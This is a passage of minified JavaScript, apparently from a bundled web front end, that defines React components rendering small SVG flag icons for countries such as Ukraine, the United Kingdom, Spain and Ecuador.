3H7v2H5v2h2v2h2V7h2V5H9V3Z",clipRule:"evenodd"})))),Za=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"UA_-_Ukraine_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#UA_-_Ukraine_svg__a)"},(0,s.createElement)("path",{fill:"#3195F9",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"UA_-_Ukraine_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#UA_-_Ukraine_svg__b)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 6v6h16V6H0Z",clipRule:"evenodd"})))),ya=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"VA_-_Vatican_City_State_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#VA_-_Vatican_City_State_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFDC17",fillRule:"evenodd",d:"M0 0h7v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#AF0100",d:"m11.39 6.376-.172.01c.041.594.169 1.052.385 1.375.349.521.809.924 1.117.924.07 0 .086.026.063.09-.033.091-.137.18-.27.215-.222.058-.727.087-1.506.087v.168c.795 0 1.309-.03 1.55-.093.188-.048.337-.177.389-.322.06-.167-.03-.312-.226-.312-.23 0-.653-.372-.972-.848-.198-.296-.318-.728-.357-1.294ZM10.573 6.376l.173.01c-.041.594-.168 1.052-.385 1.375-.348.521-.808.924-1.116.924-.07 0-.086.026-.063.09.033.091.136.18.27.215.222.058.726.087 1.505.087v.168c-.794 0-1.308-.03-1.55-.093-.188-.048-.337-.177-.389-.322-.06-.167.031-.312.227-.312.228 0 .653-.372.971-.848.198-.296.318-.728.357-1.294Z"}),(0,s.createElement)("path",{fill:"#F4B300",fillRule:"evenodd",d:"M14.034 3.399 9.463 6.962a1.67 1.67 0 0 0-.517-.08c-.742 0-1.362.473-1.362 1.088 0 .614.62 1.088 1.362 1.088.085 0 .169-.006.25-.018a.479.479 0 0 1-.16-.21c-.033-.093-.02-.18.033-.238-.04.004-.081.006-.123.006-.5 0-.886-.295-.886-.628s.386-.628.886-.628.887.295.887.628c0 .102-.037.2-.101.287l.036-.033c.159-.147-.197.461-.505.461-.07 0-.086.026-.063.09.03.086.124.17.245.208.501-.157.863-.544.863-1.013a.92.92 0 0 0-.166-.525l2.456-2.085.165.17.118-.107.41.304-.171.132.35.426.706-.545.012-.006-.002-.001.044-.034-.35-.426-.17.13-.458-.317.053-.048-.147-.153.222-.188.118.122.126-.115.398.315-.167.129.35.425.605-.466.07-.038-.01-.008.095-.074-.35-.426-.198.153-.435-.334.059-.054-.101-.104.452-.384-.358-.439Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#BFBFBF",fillRule:"evenodd",d:"M11.692 7.97c0-.277.125-.524.33-.713L9.399 5.224l-.03.023.077.07-.207.213-.11-.099-.401.31.153.118-.35.426-.699-.539-.02-.012.003-.001-.044-.034.35-.426.17.13.458-.317-.053-.048.198-.205-.231-.18-.16.166-.121-.11-.393.317.157.122-.35.425-.586-.452-.088-.052.01-.008-.096-.074.35-.426.198.153.436-.334-.06-.054.12-.123-.47-.365.296-.36 4.541 3.517c.184-.073.39-.114.608-.114.742 0 1.362.474 1.362 1.089 0 .614-.62 1.088-1.362 1.088-.085 0-.168-.006-.25-.018a.479.479 0 0 0 .16-.21c.033-.093.02-.18-.033-.238.04.004.081.006.123.006.5 0 .887-.295.887-.628s-.387-.628-.887-.628-.886.295-.886.628c0 .102.036.2.1.287a2.008 2.008 0 0 1-.036-.033c-.159-.147.197.461.505.461.07 0 .086.026.063.09-.03.086-.123.17-.245.208-.501-.157-.863-.544-.863-1.013Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#AF0100",fillRule:"evenodd",d:"M10.87 5.898a.065.065 0 0 0-.064.065v.27h-.24a.063.063 0 1 0 0 .125h.24v3.577c0 .036.029.065.064.065H11a.065.065 0 0 0 .065-.065V6.358h.37a.063.063 0 1 0 0-.125h-.37v-.27A.065.065 0 0 0 11 5.898h-.13Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#AF0100",fillRule:"evenodd",d:"M10.935 10.008c.143 0 .26-.058.26-.13 0-.071-.117-.13-.26-.13-.143 0-.26.059-.26.13 0 .072.117.13.26.13Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F4B300",fillRule:"evenodd",d:"M10 2.9a.9.9 0 1 1 1.8 0v1.622H10V2.9Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#AF0100",fillRule:"evenodd",d:"M10.892 4.61c.502 0 .908-.068.908-.152 0-.083-.407-.151-.908-.151-.502 0-.908.068-.908.151 0 .084.406.152.908.152Z",clipRule:"evenodd"}))),wa=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GB-UKM_-_United_Kingdom_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#GB-UKM_-_United_Kingdom_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"GB-UKM_-_United_Kingdom_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#GB-UKM_-_United_Kingdom_svg__b)"},(0,s.createElement)("mask",{id:"GB-UKM_-_United_Kingdom_svg__c",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#GB-UKM_-_United_Kingdom_svg__c)"},(0,s.createElement)("path",{fill:"#fff",d:"m-1.781 11.143 3.52 1.489L16.08 1.619l1.857-2.213-3.765-.497-5.85 4.745-4.707 3.198-5.396 4.29Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m-1.3 12.186 1.794.864L17.27-.8h-2.518L-1.3 12.187Z"}),(0,s.createElement)("path",{fill:"#fff",d:"m17.782 11.143-3.521 1.489L-.08 1.619-1.938-.594l3.765-.497 5.85 4.745 4.707 3.198 5.397 4.29Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m17.662 11.891-1.794.865-7.144-5.93-2.117-.663-8.723-6.75H.403l8.717 6.59 2.316.795 6.226 5.093Z"}),(0,s.createElement)("mask",{id:"GB-UKM_-_United_Kingdom_svg__d",fill:"#fff"},(0,s.createElement)("path",{fillRule:"evenodd",d:"M9.889-1H6.11v5H-.986v4H6.11v5H9.89V8h7.125V4H9.889v-5Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#F50100",fillRule:"evenodd",d:"M9.889-1H6.11v5H-.986v4H6.11v5H9.89V8h7.125V4H9.889v-5Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",d:"M6.111-1v-1h-1v1h1ZM9.89-1h1v-1h-1v1ZM6.11 4v1h1V4h-1ZM-.986 4V3h-1v1h1Zm0 4h-1v1h1V8ZM6.11 8h1V7h-1v1Zm0 5h-1v1h1v-1Zm3.778 0v1h1v-1h-1Zm0-5V7h-1v1h1Zm7.125 0v1h1V8h-1Zm0-4h1V3h-1v1ZM9.889 4h-1v1h1V4ZM6.11 0H9.89v-2H6.11v2Zm1 4v-5h-2v5h2ZM-.986 5H6.11V3H-.986v2Zm1 3V4h-2v4h2ZM6.11 7H-.986v2H6.11V7Zm1 6V8h-2v5h2Zm2.778-1H6.11v2H9.89v-2Zm-1-4v5h2V8h-2Zm8.125-1H9.889v2h7.125V7Zm-1-3v4h2V4h-2ZM9.889 5h7.125V3H9.889v2Zm-1-6v5h2v-5h-2Z",mask:"url(#GB-UKM_-_United_Kingdom_svg__d)"}))))),ka=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"DE_-_Germany_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("rect",{width:16,height:12,fill:"#fff",rx:0})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#DE_-_Germany_svg__a)"},(0,s.createElement)("path",{fill:"#FFD018",d:"M0 8h16v4H0V8Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 4h16v4H0V4Z"}),(0,s.createElement)("path",{fill:"#272727",d:"M0 0h16v4H0V0Z"}))),Ra=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"FR_-_France_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#FR_-_France_svg__a)"},(0,s.createElement)("path",{fill:"#F50100",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h6v12H0V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M5 0h6v12H5V0Z"}))),Ma=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"ES_-_Spain_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#ES_-_Spain_svg__a)"},(0,s.createElement)("path",{fill:"#FFB400",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"ES_-_Spain_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#ES_-_Spain_svg__b)"},(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0v3h16V0H0ZM0 9v3h16V9H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F1F9FF",d:"M2.504 5.136h.56v2.912h-.56z"}),(0,s.createElement)("path",{fill:"#C88A02",fillRule:"evenodd",d:"M3.288 4.632H2.28v.28h.168v.224h.672v-.224h.168v-.28ZM3.12 8.216h.168v.28H2.28v-.28h.168v-.224h.672v.224Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#AD1619",fillRule:"evenodd",d:"M2.784 4.688c.122 0 .134-.046.206-.114.056-.054.186-.12.186-.194 0-.17-.175-.308-.392-.308-.216 0-.392.138-.392.308 0 .083.09.138.157.194.072.058.124.114.235.114Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#005BBF",fillRule:"evenodd",d:"M2.28 8.496h1.008v.448s-.126-.056-.252-.056-.252.056-.252.056-.126-.056-.252-.056-.252.056-.252.056v-.448Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"ES_-_Spain_svg__c",width:2,height:1,x:2,y:8,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M2.28 8.496h1.008v.448s-.126-.056-.252-.056-.252.056-.252.056-.126-.056-.252-.056-.252.056-.252.056v-.448Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#F1F9FF",d:"M7.992 5.136h.56v2.912h-.56z"}),(0,s.createElement)("path",{fill:"#C88A02",fillRule:"evenodd",d:"M8.776 4.632H7.768v.28h.168v.224h.672v-.224h.168v-.28ZM8.608 8.216h.168v.28H7.768v-.28h.168v-.224h.672v.224Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#AD1619",fillRule:"evenodd",d:"M8.272 4.688c.122 0 .134-.046.206-.114.056-.054.186-.12.186-.194 0-.17-.175-.308-.392-.308-.216 0-.392.138-.392.308 0 .083.09.138.157.194.072.058.124.114.235.114Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#005BBF",fillRule:"evenodd",d:"M7.768 8.496h1.008v.448s-.126-.056-.252-.056-.252.056-.252.056-.126-.056-.252-.056-.252.056-.252.056v-.448Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"ES_-_Spain_svg__d",width:2,height:1,x:7,y:8,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M7.768 8.496h1.008v.448s-.126-.056-.252-.056-.252.056-.252.056-.126-.056-.252-.056-.252.056-.252.056v-.448Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#AD1619",fillRule:"evenodd",d:"M2.494 7.84c.101-.122.157-.234.157-.352a.316.316 0 0 0-.06-.192l.006-.003s.11-.048.15-.067c.072-.034.135-.07.197-.116.04-.028.092-.06.173-.103l.096-.051.096-.053c.085-.05.14-.09.183-.144a.268.268 0 0 0-.061-.399.728.728 0 0 0-.301-.096l-.197-.03c-.066-.01-.124-.02-.177-.03.345-.057.836-.036 1.052.076l.206-.398c-.44-.228-1.445-.204-1.82.054-.275.19-.238.476.048.6.12.05.276.085.564.131a1.431 1.431 0 0 0-.126.081.799.799 0 0 1-.127.075 6.71 6.71 0 0 1-.125.055l-.017.008c-.233.106-.346.252-.312.517l.018.143.033.01.344.284Zm-.288-.37v.002-.002Zm6.147.018c0 .118.056.23.157.352l.344-.284.033-.01.018-.143c.034-.265-.079-.411-.312-.517l-.016-.008a6.704 6.704 0 0 1-.125-.055.8.8 0 0 1-.128-.075 1.431 1.431 0 0 0-.126-.08c.289-.047.445-.081.564-.133.286-.123.323-.41.048-.6-.375-.257-1.379-.28-1.82-.053l.206.398c.216-.112.708-.133 1.052-.075l-.177.029-.196.03a.728.728 0 0 0-.301.096.268.268 0 0 0-.062.4.605.605 0 0 0 .183.143l.096.053.096.05c.081.044.134.076.173.104.062.045.126.082.198.116.039.02.15.068.15.067l.006.003a.316.316 0 0 0-.061.192Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F1F9FF",d:"m2.962 6.2.165.034v.247c-.176.14-.623.377-.623.377V6.2h.458ZM8.157 6.2l-.165.034v.247c.176.14.623.377.623.377V6.2h-.458Z"}),(0,s.createElement)("path",{fill:"#AD1619",fillRule:"evenodd",d:"M7.388 3.603v-.082a1.53 1.53 0 0 0-.905-.31 1.806 1.806 0 0 0-.918-.156v-.001c-.465-.046-.934.157-.934.157-.473 0-.905.31-.905.31v.082l.565.567s.159.546 1.272.418v.001s.737-.02.79-.037l.063-.02c.144-.042.31-.09.407-.362l.565-.567Zm-1.825-.519Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C88A02",fillRule:"evenodd",d:"m3.76 3.7.038-.042.513.483c.097-.026.626-.16 1.216-.168h.045a5.281 5.281 0 0 1 1.232.172s-.006.053-.021.116l.056-.11.006-.006.517-.487.038.041-.514.483c-.075.138-.112.23-.112.267 0 .058-.15.092-.444.128-.23.027-.5.046-.722.048h-.056a7.222 7.222 0 0 1-.722-.048c-.294-.036-.444-.07-.444-.128a.118.118 0 0 0-.004-.027.44.44 0 0 1-.064-.154 2.84 2.84 0 0 0-.044-.086L3.76 3.7Zm2.867.75c.039.019.07 0 .095-.035a.18.18 0 0 0-.004.027.541.541 0 0 1-.098.032 3.068 3.068 0 0 1-.296.047c-.238.029-.52.047-.744.049a7.095 7.095 0 0 1-.744-.049 3.067 3.067 0 0 1-.296-.047.633.633 0 0 1-.073-.02l.006-.003c.122-.058.93-.111 1.077-.12.145.009.954.062 1.077.12Zm.154-.01-.001.001Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#005BBF",fillRule:"evenodd",d:"M5.556 2.674a.168.168 0 1 0 0-.336.168.168 0 0 0 0 .336Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C88A02",fillRule:"evenodd",d:"M5.493 2.038h.117v.074h.076v.117H5.61v.233h.076v.117h-.27v-.117h.077v-.233h-.077v-.117h.077v-.074Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C88A02",d:"M5.472 2.672h.224V3.4h-.224z"}),(0,s.createElement)("path",{fill:"#C88A02",d:"m3.854 3.648-.308-.011c.145-.839.86-1.25 2.002-1.25 1.144 0 1.856.413 1.99 1.255l-.415.043c-.066-.41-.752-.78-1.569-.78-.818 0-1.629.33-1.7.743Z"}),(0,s.createElement)("path",{fill:"#E1E5E8",fillRule:"evenodd",d:"M3.736 4.632h3.64v3.27S7.106 9 5.556 9s-1.82-1.127-1.82-1.127V4.632Z",clipRule:"evenodd",opacity:.3}),(0,s.createElement)("mask",{id:"ES_-_Spain_svg__e",width:5,height:5,x:3,y:4,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M3.736 4.632h3.64v3.27S7.106 9 5.556 9s-1.82-1.127-1.82-1.127V4.632Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#ES_-_Spain_svg__e)"},(0,s.createElement)("path",{fill:"#FFC034",d:"M3.736 6.648h1.848v2.184H3.736z"}),(0,s.createElement)("path",{fill:"#AD1619",d:"M3.736 4.576h1.848v2.128H3.736z"}),(0,s.createElement)("path",{fill:"#AD1619",d:"M5.528 6.592h1.848V8.72H5.528z"}),(0,s.createElement)("path",{fill:"#F1F9FF",d:"M5.528 4.632h1.96v2.072h-1.96z"}),(0,s.createElement)("path",{fill:"#F1F9FF",fillRule:"evenodd",d:"M6.741 8.721s-1.186.094-1.186-.671c0 0-.011.671-1.25.671v.604h2.436v-.604Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#005BBF",fillRule:"evenodd",stroke:"#AD1619",strokeWidth:.583,d:"M5.556 7.096c.232 0 .42-.2.42-.448 0-.247-.188-.448-.42-.448-.232 0-.42.2-.42.448 0 .247.188.448.42.448Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#C88A02",fillRule:"evenodd",d:"M4.5 6a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C37C9C",fillRule:"evenodd",d:"M6.5 6a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFC034",fillRule:"evenodd",d:"M6.5 8a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#AD1619",d:"M4.5 8a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1Z"})))),Fa=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"IT_-_Italy_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#IT_-_Italy_svg__a)"},(0,s.createElement)("path",{fill:"#C51918",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#5EAA22",d:"M0 0h6v12H0V0Z"}),(0,s.createElement)("path",{fill:"#fff",d:"M5 0h6v12H5V0Z"}))),ba=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"NL_-_Netherlands_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#NL_-_Netherlands_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"NL_-_Netherlands_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#NL_-_Netherlands_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#3D58DB",d:"M0 8v4h16V8H0Z"})))),Ca=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"PL_-_Poland_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#PL_-_Poland_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"PL_-_Poland_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#PL_-_Poland_svg__b)"},(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 6v6h16V6H0Z",clipRule:"evenodd"})))),Ha=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CL_-_Chile_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#CL_-_Chile_svg__a)"},(0,s.createElement)("path",{fill:"#3D58DB",d:"M0 0h7v7H0V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M7-1h9v8H7v-8Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 7h16v5H0V7Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M3.507 4.892 1.605 6.027l.939-1.932L.882 2.84 2.8 2.82l.723-1.714.467 1.713 1.816.009-1.382 1.227.718 1.972-1.636-1.135Z"}))),Va=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BO_-_Bolivia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BO_-_Bolivia_svg__a)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"BO_-_Bolivia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#BO_-_Bolivia_svg__b)"},(0,s.createElement)("path",{fill:"#DB501C",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#DB501C",strokeWidth:.75,d:"M5.824 5.63S5.638 7.535 7.33 7.535h1.261s1.781-.117 1.574-1.905"}),(0,s.createElement)("path",{fill:"#FECA00",stroke:"#68B9E8",strokeWidth:.75,d:"M9.125 5.9a1.125 1.125 0 1 1-2.25 0 1.125 1.125 0 0 1 2.25 0Z"}),(0,s.createElement)("path",{fill:"#DB501C",fillRule:"evenodd",d:"M8 6a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M8.05 6.8c.47 0 .85-.18.85-.4 0-.22-.38-.4-.85-.4s-.85.18-.85.4c0 .22.38.4.85.4Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#674F28",fillRule:"evenodd",d:"M8.05 5c.663 0 1.2-.18 1.2-.4 0-.22-.537-.4-1.2-.4-.663 0-1.2.18-1.2.4 0 .22.537.4 1.2.4Z",clipRule:"evenodd"})))),Sa=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"EC_-_Ecuador_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#EC_-_Ecuador_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"EC_-_Ecuador_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#EC_-_Ecuador_svg__b)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 0v6h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 9v3h16V9H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#7B2900",fillRule:"evenodd",d:"M4.606 2.896c-.06-.136 2.256-.823 2.43-.823.173 0 .392.411.392.411l1.408.114s-.166-.525 0-.525c.167 0 2.716.886 2.716.886s-3.187.384-3.187.47c0 .087.209.562.209.562l-.59.193s.035-.573-.061-.573-.381.685-.381.685l-.28-.867s-2.595-.397-2.656-.533Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",d:"m4.616 5.009.63.15c-.659 2.759-.05 4.082 1.828 4.205l-.042.646c-2.353-.154-3.157-1.9-2.416-5.001Z"}),(0,s.createElement)("path",{fill:"#07138E",d:"m5 4.637.64.1c-.451 2.887-.09 4.192.924 4.156l.023.648C4.967 9.598 4.492 7.883 5 4.637Z"}),(0,s.createElement)("path",{fill:"#E10001",d:"m5.648 4.372.64.1c-.451 2.887-.09 4.192.925 4.156l.022.648c-1.62.057-2.095-1.657-1.587-4.904Z"}),(0,s.createElement)("path",{fill:"#07138E",d:"m6.851 9.637.645-.063c.053.546.013 1.017-.125 1.413l-.612-.214c.104-.299.137-.678.092-1.136Z"}),(0,s.createElement)("path",{stroke:"#FECA00",strokeWidth:.648,d:"M10.75 5.084S11.783 9.731 8.6 9.65"}),(0,s.createElement)("path",{fill:"#07138E",d:"m10.681 4.637-.64.1c.452 2.887.09 4.192-.924 4.156l-.023.648c1.62.057 2.095-1.658 1.587-4.904Z"}),(0,s.createElement)("path",{fill:"#E10001",d:"m10.033 4.372-.64.1c.451 2.887.09 4.192-.924 4.156l-.023.648c1.62.057 2.095-1.657 1.587-4.904Z"}),(0,s.createElement)("path",{fill:"#07138E",d:"m8.704 9.64-.644-.07c-.054.5-.013.931.13 1.295l.603-.236c-.1-.258-.132-.587-.089-.989Z"}),(0,s.createElement)("path",{fill:"#908F89",fillRule:"evenodd",d:"M6.933 8.75h1.945v.926H6.933V8.75Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#FEE901",strokeWidth:.5,d:"M7.906 9c.548 0 1.021-.309 1.348-.763.327-.454.522-1.07.522-1.737 0-.668-.195-1.283-.522-1.737C8.927 4.309 8.454 4 7.906 4c-.549 0-1.022.309-1.35.763-.326.454-.52 1.07-.52 1.737 0 .668.194 1.283.52 1.737.328.454.801.763 